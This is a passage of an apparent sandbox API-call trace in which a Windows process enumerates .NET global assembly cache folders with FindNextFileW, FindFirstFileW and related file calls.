	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9ed0ea0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9ed0ea0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9ed0ea0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.Entity.Build.Tasks", cAlternateFileName="MICROS~1.TAS")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9e84be0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9e84be0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9e84be0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Internal.Tasks.Dataflow", cAlternateFileName="MICROS~2.DAT")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93363c00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93363c00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93363c00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.JScript", cAlternateFileName="MICROS~1.JSC")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5bad540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5bad540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bad540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools", cAlternateFileName="MICROS~1.TOO")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ef3380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5ef3380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5ef3380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Common", cAlternateFileName="MICROS~3.COM")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ef3380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5ef3380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5ef3380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Common.Implementation", cAlternateFileName="MICROS~3.IMP")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a30780, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5a30780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5a30780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Excel", cAlternateFileName="MICROS~1.EXC")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61280, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5b61280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5b61280, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Excel.Implementation", cAlternateFileName="MICROS~2.IMP")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6e1ffc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6e1ffc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6e1ffc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Outlook", cAlternateFileName="MICROS~1.OUT")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a30780, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5a30780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5a30780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Outlook.Implementation", cAlternateFileName="MICROS~1.IMP")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf705b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf705b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf705b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.v4.0.Framework", cAlternateFileName="MICROS~2.FRA")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf713fca0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Word", cAlternateFileName="MICROS~1.WOR")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf713fca0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf713fca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf713fca0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Word.Implementation", cAlternateFileName="MICROS~4.IMP")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93e661c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93e661c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93e661c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Transactions.Bridge", cAlternateFileName="MICROS~1.BRI")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934222e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x934222e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x934222e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic", cAlternateFileName="MICROS~1.VIS")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d81980, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93d81980, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93d81980, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Compatibility", cAlternateFileName="MICROS~1.COM")) returned 1
	[0088.593] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93d5b820, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93d5b820, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93d5b820, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Compatibility.Data", cAlternateFileName="MICROS~1.DAT")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9346e5a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9346e5a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9346e5a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC", cAlternateFileName="MICROS~2.VIS")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa47cc480, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa47cc480, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa47cc480, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR", cAlternateFileName="MICROS~1.STL")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d3b780, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6d3b780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6d3b780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Hosting", cAlternateFileName="MICROS~1.HOS")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ab4020, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6ab4020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6ab4020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Runtime", cAlternateFileName="MICROS~1.RUN")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a1baa0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf6a1baa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a1baa0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument", cAlternateFileName="MICROS~1.SER")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ecd220, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5ecd220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5ecd220, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.ContainerControl", cAlternateFileName="MICROS~1.CON")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf705b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf705b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf705b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Runtime", cAlternateFileName="MICROS~2.RUN")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf705b460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf705b460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf705b460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Runtime.Internal", cAlternateFileName="MICROS~1.INT")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940090e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x940090e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x940090e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Windows.ApplicationServer.Applications", cAlternateFileName="MICROS~1.APP")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5df7160, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa5df7160, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa5df7160, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Workflow.Compiler", cAlternateFileName="MICROS~2.COM")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa60f0ce0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa60f0ce0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa60f0ce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationBuildTasks", cAlternateFileName="PRESEN~3")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x947795a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x947795a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x947795a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework", cAlternateFileName="PRESEN~1")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemCore", cAlternateFileName="PRESEN~4")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemData", cAlternateFileName="PRA5CF~1")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemDrawing", cAlternateFileName="PR5A39~1")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemXml", cAlternateFileName="PRB65B~1")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework-SystemXmlLinq", cAlternateFileName="PR7FBE~1")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9479f700, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9479f700, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9479f700, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Aero", cAlternateFileName="PRESEN~1.AER")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9eaad40, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9eaad40, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9eaad40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.AeroLite", cAlternateFileName="PRESEN~2.AER")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x947c5860, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x947c5860, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x947c5860, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic", cAlternateFileName="PRESEN~1.CLA")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x948aa0a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x948aa0a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x948aa0a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna", cAlternateFileName="PRESEN~1.LUN")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x948f6360, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x948f6360, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x948f6360, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale", cAlternateFileName="PRESEN~1.ROY")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94942620, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94942620, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94942620, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationUI", cAlternateFileName="PRESEN~2")) returned 1
	[0088.594] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94abf3e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94abf3e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94abf3e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework", cAlternateFileName="REACHF~1")) returned 1
	[0088.612] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.613] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Accessibility" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\accessibility"), fInfoLevelId=0x0, lpFileInformation=0x124790e8 | out: lpFileInformation=0x124790e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x932f17e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x932f17e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x932f17e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.614] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Accessibility" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\accessibility"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.614] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Accessibility\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x932f17e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x932f17e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x932f17e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.615] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
